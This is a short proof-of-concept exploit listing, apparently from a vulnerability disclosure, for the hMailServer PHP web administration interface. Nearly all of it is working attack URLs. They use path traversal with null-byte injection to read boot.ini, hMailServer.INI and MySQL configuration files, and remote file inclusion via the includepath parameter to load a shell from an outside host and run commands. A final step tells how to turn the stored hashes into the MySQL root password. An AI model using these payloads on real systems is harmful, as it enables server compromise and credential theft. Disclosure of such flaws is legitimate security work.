poc:

regardless of register_globals & magic_quotes_gpc:
http://hostname/path_to_webadmin/index.php?page=background/../../../../../.
./../../boot.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailS
erver.INI%00
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.i
ni%00
http://hostname/path_to_webadmin/index.php?page=background/../../../../../.
./../..
/../Program+Files/hmailserver/Bin/hmailserver.ini%00

with register_globals = on:
(prepare a functions.php folder on somehost.com with an index.html with
your shell inside on
a php enabled server,
otherwise a functions.php shell on a php disabled one)
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=h
ttp://www.somehost.com/&cmd=dir

with register_globals = on & magic_quotes_gpc = off :
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c
:\boot.ini%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=h
ttp://www.somehost.com/shell.txt%00&cmd=dir
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c
:\Program+Files\hMailServer\Bin\hMailServer.INI%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=.
./Bin/hMailServer.INI%00

"Bin" folder can be found in a different location, disclose the
path by simply calling:

http://hostname/path_to_webadmin/initialize.php

interesting file:

hMailServer.INI - contains two interesting fields:
- the "Administrator password" crypted with md5,
- by having knowledge of that you can calculate the MySQL root password,
specified in the "password" field.
You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs
script
